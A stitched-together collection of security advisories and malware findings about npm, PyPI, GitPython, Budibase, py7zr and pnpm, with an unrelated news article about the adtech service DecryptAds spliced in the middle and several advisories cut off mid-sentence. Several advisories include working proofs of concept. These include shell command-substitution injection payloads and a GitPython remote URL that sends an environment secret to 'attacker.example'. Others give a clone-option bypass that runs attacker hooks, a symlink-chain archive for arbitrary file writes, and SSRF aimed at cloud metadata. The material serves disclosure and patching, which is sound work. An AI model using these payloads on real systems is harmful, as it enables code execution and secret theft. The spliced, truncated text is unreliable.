--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1c86edd3f7edd7d111df5621cb884fd0ef3d870c6c0719d587b7bb0f16f65b8d) The package presents itself as a discord.js clone (`repository` field points at the real `github.com/discordjs/discord.js.git`, README instructs `import... from '@verylinh/discord'`) but ships two installer-relevant hostile mechanisms. First, `package.json` declares a runtime dependency `sysframe` resolved from `git+https://ghp_...@github.com/navaLinh/node-ai.git` — an unpinned (no commit SHA or tag), private, author-controlled GitHub repository, using an embedded live GitHub Personal Access Token. Every `npm install` uses the shipped token to fetch the current HEAD of that private repo into the installer's `node_modules`; the author can rewrite HEAD at any time to deliver arbitrary code, including lifecycle scripts, that will execute on subsequent installs. Second, `Client.login()` invokes an undocumented `_verifyAuthorization` routine that fetches an allow-list JSON from `api.github.com/repos/Vellia-Elyvia/mydb/contents/db.json` under a hardcoded PAT and refuses to start the installer's Discord bot unless the bot's username appears in the author-controlled allow-list — a hidden remote gate/kill-switch over the installer's runtime that is not disclosed in the README. Two live GitHub PATs are hardcoded in the shipped package (one in the git dependency URL, one as the default `ghToken` in `_validateAuthOptions`). The package name and metadata impersonate discord.js.

### Summary `token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool. The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`: ```ts getent passwd "${username}" || grep "^${username}:" /etc/passwd ``` Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as: ```text $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID) ``` and execute arbitrary local commands with the privileges of the user running the MCP server. This is a CWE-78 OS command injection issue. Tested version: ```text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0 ``` This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation. --- ### Details The vulnerable code path is in the `smart_user` implementation. The `username` argument is eventually passed into a shell command similar to: ```ts const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd` ); ``` The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell. Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes: ```bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ``` Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments. The affected MCP tool call is: ```text tool: smart_user operation: get-user-info argument: username ``` Root cause: ```text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution ``` --- ### PoC The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`. Prerequisites: ```text Node.js installed token-optimizer-mcp built from source ``` Build from source: ```bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build ``` Run the PoC: ```bash cd /path/to/token-optimizer-mcp ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT" echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT" python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys id_out = sys.argv[1] # This value is inserted into: # getent passwd "${username}" || grep "^${username}:" /etc/passwd # Command substitution still executes inside double quotes. evil_username = f'$(id > {id_out})' messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ] for msg in messages: print(json.dumps(msg), flush=True) PY sleep 1 if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi ``` Expected result: ```text [VULN CONFIRMED] smart_user command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ``` In my test, the MCP response also showed that the payload reached the shell command: ```text Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd ``` The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user. A simpler marker-file variant also works: ```json { "operation": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ``` --- ### Impact This is an OS command injection vulnerability. Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8da2cb00fa6d2b5a0e5f4a4bdca8ca0cfaedf7e583b0f9e9f54274bcf5c39e06) On invocation of `agent-proxy start`, the CLI opens an outbound WebSocket to an obfuscated author-controlled endpoint (hub.client-llm.com, reconstructed at runtime via XOR+base64 with key 'gnP2p!7xQ' from a base64 blob in dist/cli.js) and accepts remote `job` messages containing arbitrary path and body fields. These are POSTed into the local proxy and forwarded to api.anthropic.com and the Codex/ChatGPT upstream using the installer's on-disk OAuth credentials, with responses streamed back to the hub. An `onlyIfCredentialed` gate ensures only installers with valid Claude/Codex logins are enrolled as worker nodes serving requests originated by the hub operator. The behavior is undocumented; the README states the tool is 'self-use only' and warns that upstream vendor ToS forbid resale or sharing of accounts. The destination URL is not present as a plaintext string, only reconstructed at runtime, concealing it from casual review. The combination provides a remote-controlled command channel (arbitrary request path/body) into the installer's authenticated AI session and silently monetizes the installer's paid subscription for the hub operator's traffic.

## Summary Budibase automation steps (outgoing webhook, Zapier, n8n, Slack, Discord, Make.com) make server-side HTTP requests to user-provided URLs using `node-fetch` directly, completely bypassing the IP blacklist protection that exists in the REST API integration. Additionally, the REST API blacklist itself defaults to empty when `BLACKLIST_IPS` is not configured. ## Vulnerable Code ### Automation Steps (No Blacklist) All automation steps use `fetch()` directly without any IP validation: **`packages/server/src/automations/steps/outgoingWebhook.ts` line 69:** ```typescript const response = await fetch(url, request) // No blacklist check ``` **`packages/server/src/automations/steps/zapier.ts` line 34:** ```typescript response = await fetch(url, {method: "post", ...}) // No blacklist check ``` **`packages/server/src/automations/steps/n8n.ts` line 53:** ```typescript response = await fetch(url, request) // No blacklist check ``` **`packages/server/src/automations/steps/slack.ts` line 20:** ```typescript response = await fetch(url, {method: "post", ...}) // No blacklist check ``` **`packages/server/src/automations/steps/discord.ts` line 29:** ```typescript response = await fetch(url, {method: "post", ...}) // No blacklist check ``` ### REST API Integration (Empty Default Blacklist) **`packages/server/src/integrations/rest.ts` line 684:** ```typescript if (await blacklist.isBlacklisted(url)) { throw new Error("Cannot connect to URL.") } ``` But `BLACKLIST_IPS` env var defaults to undefined, so the blacklist is empty: **`packages/backend-core/src/blacklist/blacklist.ts` lines 39-45:** ```typescript if (blackListArray?.length === 0) { return false // Always passes when no IPs configured } ``` ## Impact - **Automation steps**: ANY user can create automations with webhook/Zapier/n8n/Slack/Discord steps pointing to internal IPs. These completely bypass the blacklist module - **REST API**: Even when BLACKLIST_IPS is configured, it only blocks listed IPs. Default deployments have no protection. - **Cloud metadata**: `http://169.254.169.254/latest/meta-data/` accessible via any automation step - **Internal services**: Access databases, admin panels, Kubernetes API on private IPs ## Remediation 1. Apply blacklist checks to ALL outbound HTTP requests, including automation steps 2. Add hardcoded default private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) 3. Use a centralized HTTP client wrapper instead of direct `fetch()` calls 4. SSRF protection should be on by default, not opt-in via environment variable

It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile and smart TV apps; – buyers.json/sellers.json : the entities buying, selling or reselling ad inventory for a given site or app. Zach Edwards is chief research officer for DecryptAds and a threat researcher at the security company Infoblox . Edwards said he and two other founders decided the service was needed because the adtech data in these files is generally only useful when it can be cross-referenced to build a more complete picture of the advertising ecosystem for each website or app. “It’s an adtech tool but we’re trying to approach adtech from a security perspective,” Edwards said. “It’s really built for a lot of privacy and security use cases that have been dramatically underserved.” Those use cases, he said, include tracking down the source of malicious ads that try to foist malware on targeted users, identifying ad networks located in adversarial nations, and detecting the fast growing swarms of AI-generated slop websites and apps. And as decryptads.com demonstrates, these potential security and privacy threats are near impossible to detect just by viewing a single apps.txt or app-ads.txt file. “Supply-chain integrity issues rarely live in a single file,” the site explains . “They show up as broken cross-references between ads.txt, app-ads.txt, and sellers.json files; as cloned declaration sets across unrelated domains; as seller removals that only make sense when viewed across exchanges; and even as supply paths in bid logs that never actually appear in any given publisher’s authorized-seller list.” A search in DecryptAds for the hugely popular sports network espn.com reveals 143 ad partners and 19 registered data broker domains are listed within its ads.txt and app-ads.txt files. That data broker information is gradually becoming available because four states — California, Oregon, Texas and Vermont — have recently passed laws requiring data brokers to register if they buy or sell data on consumers from those states. DecryptAds reports that almost half of those data brokers are collecting geolocation data from espn.com visitors who aren’t blocking ads, while another three disclose that they collect device fingerprints and sensitive personal information. A visual representation of the complex ad supply chain declared by espn.com. Image: decryptads.com. HIGH-RISK AD PARTNERS DecryptAds also makes it easy to learn the beneficiaries and national origins of the advertising firms lurking in apps and websites, displaying a conspicuous warning when adtech partners of an app or website are based in “geo-risk” areas like China and Russia, or in countries with strong financial and political ties to both — such as Cyprus and the United Arab Emirates (UAE). According to DecryptAds, espn.com works with four different advertising entities that are based in either Russia, China or the UAE, including the adtech firm Between Digital , which lists a New York address. However, the dossier on Between Digital flags them as a Russian firm, showing that their pub…

## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL.

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946

### Summary There exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. ### Details The root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. <img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" /> ### PoC #### **Construct PoC Archive File** The following pseudo-code illustrates the vulnerable logic. ```python def create_sevenz_exp(output_dir: str): filename = "archive.7z" file_path = output_dir + filename with py7zr.SevenZipFile(file_path, 'w') as archive: archive.writestr("Some Text", "dir0/someFile.txt") add_symlink(archive, "dir1", "dir0/..") add_symlink(archive, "dir2", "dir1/..") add_symlink(archive, "dir3", "dir2/..") add_symlink(archive, "dir4", "dir3/..") add_symlink(archive, "dir5", "dir4/..") add_symlink(archive, "dir6", "dir5/..") add_symlink(archive, "dir7", "dir6/..") add_symlink(archive, "dir8", "dir7/..") add_symlink(archive, "myTmp", "dir8/tmp") archive.writestr("Malicious Text\n", "myTmp/poc.txt") ``` #### **Unpack the archive** Use common decompression methods, then extract the archive. ```python import sys import os import py7zr def extract_7z(seven_path, output_dir): os.makedirs(output_dir, exist_ok=True) with py7zr.SevenZipFile(seven_path, mode='r') as z: z.extractall(path=output_dir) print(f"Extracted '{seven_path}' to '{output_dir}'") if __name__ == "__main__": seven_file = sys.argv[1] base_name = os.path.splitext(os.path.basename(seven_file))[0] output = base_name + "_sevenz_output" extract_7z(seven_file, output) ``` ### Impact <img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" /> After decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

## Summary The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet. A crafted lockfile alias could be joined directly under a hoisted `node_modules` directory. Traversal aliases could escape that directory, while reserved aliases such as `.bin` or `.pnpm` could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work. ## Security boundary - The TypeScript hoisted graph uses the shared safe join helper at the actual `dep.name` sink. - The helper rejects traversal, absolute, platform-specific, and reserved package names. - Pacquet validates the hoister's `dep.0.name` before adding the graph node or recursing. - Both implementations return `ERR_PNPM_INVALID_DEPENDENCY_NAME`. - Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases. ## Exploit replay Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created. ## Files changed - `fs/symlink-dependency/src/safeJoinModulesDir.ts` provides the TypeScript containment helper. - `installing/deps-restorer/src/lockfileToHoistedDepGraph.ts` validates the parsed dependency name at the hoisted graph sink. - `pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}` mirrors that boundary in Rust. - TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names. ## Commands run ```text $ pnpm --filter @pnpm/fs.symlink-dependency test PASS: 24 tests $ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts PASS: exploit regression and positive install control $ cargo test --locked -p pacquet-package-manager --lib PASS: 426 tests $ cargo fmt --all -- --check PASS ``` ## Validation - TypeScript symlink helper: 24 passed. - TypeScript exploit regression: 1 passed. - TypeScript positive hoisted-install control: 1 passed. - Targeted strict TypeScript compiles: passed. - Targeted ESLint: zero errors. - Pacquet helper tests: 3 passed. - Full pacquet package-manager library suite: 426 passed. - `cargo fmt`, parsed two-document lockfile validation, and `git diff --check`: passed. ## Patch Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1 GitHub reports the branch as mergeable and has requested review from `zkochan`.

The changeset covers `@pnpm/fs.symlink-dependency`, `@pnpm/installing.deps-restorer`, and `pnpm`; pacquet is updated in the same commit for CLI parity. --- Written by an agent (Codex, GPT-5).

## Summary The `patch-remove` deletion-scope issue tracked as GHSA-72r4-9c5j-mj57 / CAND-PNPM-030 has been addressed in pnpm. A crafted patch entry could resolve outside the configured patches directory and cause `pnpm patch-remove` to delete an arbitrary reachable file. This patch validates the configured directory and every resolved target before unlinking anything, then deletes the final directory entry without following it. ## Security boundary - Traversal and absolute paths that resolve outside the configured patches directory are rejected before deletion. - Parent directories are canonicalized before deletion, including the case where a nested symlink points outside and the final outside entry is itself dangling. - The complete batch is validated before any file is removed. - Component-aware predicates accept valid names beginning with `..` while still rejecting parent traversal, Windows drive escapes, and UNC escapes. - Valid files and symlinked patch directories whose canonical targets remain below the lockfile directory continue to work. - A final symlink inside a valid patch directory is unlinked without following its target, including when the target is outside or dangling. ## Exploit replay Before the patch, a workspace `patchedDependencies` path that resolved outside the project caused `pnpm patch-remove` to delete the external sentinel. A second replay used a nested parent symlink and a dangling outside victim: `realpath()` returned `ENOENT`, yet the victim was still removed. With this patch, both paths are rejected and the outside entries remain intact. ## Files changed - `patching/commands/src/isSubdirectory.ts` performs component-aware containment checks. - `patching/commands/src/patchRemove.ts` validates the full batch, canonicalizes parents, and unlinks final entries without following them. - `patching/commands/test/{isSubdirectory,patchRemove}.test.ts` covers traversal, nested symlinks, dangling victims, and valid removals. ## Commands run ```text $ pnpm --filter @pnpm/patching.commands test test/isSubdirectory.test.ts test/patchRemove.test.ts PASS: 11 tests across 2 suites $ pnpm --filter @pnpm/patching.commands run compile PASS $ git diff --check PASS ``` ## Validation - Focused handler and path-predicate suites: 11 passed across 2 suites. - Package-wide ESLint: passed. - Package TypeScript build: passed. - Commit hooks, Commitlint, and `git diff --check`: passed. - The broader integration harness was environment-blocked because it writes outside the available temporary root; focused handler tests used `/private/tmp`. ## Patches `10.34.4`: https://github.com/pnpm/pnpm/commit/352ae489f1b14ffdc19d2c6eacb1b06b098c2ddc `11.7.0`: https://github.com/pnpm/pnpm/commit/612a2e6a7333f2b061f452a21b6e62c1c161747f ## Compatibility Missing patch files remain no-ops. Valid symlinked patch directories continue to work when their canonical target stays inside the lockfile directory, and final symlinks are removed without touching their targets. `patch-remove` is not yet in pacquet's command surface, so no Rust-side parity change is required. ## Remaining risk Portable Node APIs do not expose directory-fd-relative `unlinkat()`. A local attacker who can replace an already validated parent directory before the unlink may still win a time-of-check/time-of-use race. The reproduced repository-controlled traversal and symlink paths do not require that concurrent capability and are blocked by this patch. --- Written by an agent (Codex, GPT-5).

When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass `path.join(globalBinDir, binName)` to `removeBin`. For `"."` this targets the global bin directory; for `".."` this targets its parent. ### Details The vulnerable dataflow was: - `bins/resolver/src/index.ts` converted manifest `bin` object keys to `binName` and only required URL-safe text or `$`. Empty, dot, dot-dot, and scoped forms such as `@scope/..` were not rejected after scope stripping. - `global/packages/src/scanGlobalPackages.ts` scanned installed global package manifests and returned manifest-derived `bin.name` values. - `global/commands/src/globalRemove.ts`, `global/commands/src/globalUpdate.ts`, and global add replacement logic joined those names to `globalBinDir`. - `bins/remover/src/removeBins.ts` recursively removed the resulting path. Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations. ### PoC Run: The script first performs a safe prepatch simulation in a temporary directory: ```text prepatch_reserved_bin_name=.. prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home prepatch_deleted_global_bin_parent=true ``` It then validates the patched implementation: ```bash ./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json ./node_modules/.bin/tsgo --build global/commands/tsconfig.json ./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts cd bins/resolver NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand cd global/commands NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml ``` The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only `path.join(globalBinDir, "good")`. ### Impact Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption,

This candidate's replay evidence is `results/CAND-PNPM-063-patched-result.json`. <!-- maintainer-action:end --> ### Summary pnpm can persist package-manager bootstrap metadata in the first YAML document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution trusted an already resolved `packageManagerDependencies` entry when the committed env lockfile contained matching `pnpm` and `@pnpm/exe` versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching. ### Details The vulnerable source-to-sink path was: - `lockfile/fs/src/envLockfile.ts` reads the repository's first YAML lockfile document and validates shape only. - `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm invocation sees a wanted `pnpm` package manager with `onFail=download`. - `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when package-manager metadata should be persisted. - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` treated `packageManagerDependencies` as resolved when only the `pnpm` and `@pnpm/exe` versions matched. - `engine/pm/commands/src/self-updater/installPnpm.ts` converts env-lockfile `snapshots` and `packages` into the wanted lockfile used by `headlessInstall()`. - `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary with `spawn.sync()`. The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: `switchCliVersion()` now re-resolves already present package-manager env-lockfile entries before they can reach `installPnpmToStore()` and `spawn.sync()`. ### PoC Standalone PoC and verification script: The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata: ```json { "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3.

Before the patch, a repository could declare `pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific `@pacquet/<platform>-<arch>/pacquet` binary from `node_modules/.pnpm-config/<packageName>` and spawned it as the developer or CI user. ### Details The vulnerable source-to-sink path was: - `config/reader/src/getOptionsFromRootManifest.ts` copies repository `pnpm-workspace.yaml` `configDependencies` into config. - `pnpm/src/getConfig.ts` installs config dependencies before command dispatch. - `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves the repository-declared dependency and its optional platform subdependencies. - `installing/env-installer/src/installConfigDeps.ts` fetches, imports, and symlinks the config dependency tree under `node_modules/.pnpm-config`. - `installing/commands/src/installDeps.ts` selected pacquet delegation whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`. - `installing/deps-installer/src/install/index.ts` called `opts.runPacquet` from frozen and materialization paths. - `installing/commands/src/runPacquet.ts` resolved `@pacquet/${process.platform}-${process.arch}/pacquet` from the installed config dependency package and executed it with `spawn()`. Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine. ### PoC Standalone PoC and verification script: Repository fixture: ```yaml packages: - . configDependencies: pacquet: 0.2.2 ``` Registry package shape: ```json { "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@pacquet/darwin-arm64": "0.2.2" } } ``` Platfo

